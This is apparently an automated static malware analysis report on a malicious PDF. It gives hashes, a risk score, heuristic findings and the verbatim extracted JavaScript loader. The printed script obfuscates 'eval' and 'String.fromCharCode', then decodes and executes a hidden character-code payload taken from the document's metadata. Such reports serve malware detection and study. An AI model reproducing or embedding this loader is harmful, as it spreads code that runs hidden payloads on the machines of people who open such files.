Malicious PDF — malware analysis report

Static analysis result for SHA-256 d46fe48d0e575423…

MALICIOUS

PDF

44.5 KB Authoring application: substr First seen: 2013-08-26
MD5: e80559afb26ff7c3ec3e8b33ffe8d7bd SHA-1: abd4c97e366c7b4a097b8b312881f199129c87ed SHA-256: d46fe48d0e57542397f8b557daf59c674c54d45e241abec2048bcd885290c402
86 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by heuristic firings and the presence of a javascript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to download and execute a second-stage payload, although the exact functionality is obscured. The document body 'substr split test' provides no contextual clues.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF86 431 bytes
SHA-256: 166a1534eab15394e217f6c6e0ef7690048637c4c193341842dacf65f7cab5fe
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
jsew=e('ti'.concat(v[4],t));
q=jsew[v](a.length-6,a.length+2);
qit=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=jsew[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	coqbj = 1*(q[i]) - (-1)*(q[++i]);
	s2 = s2.concat(qit(coqbj));
	i++;
}
e(s2);

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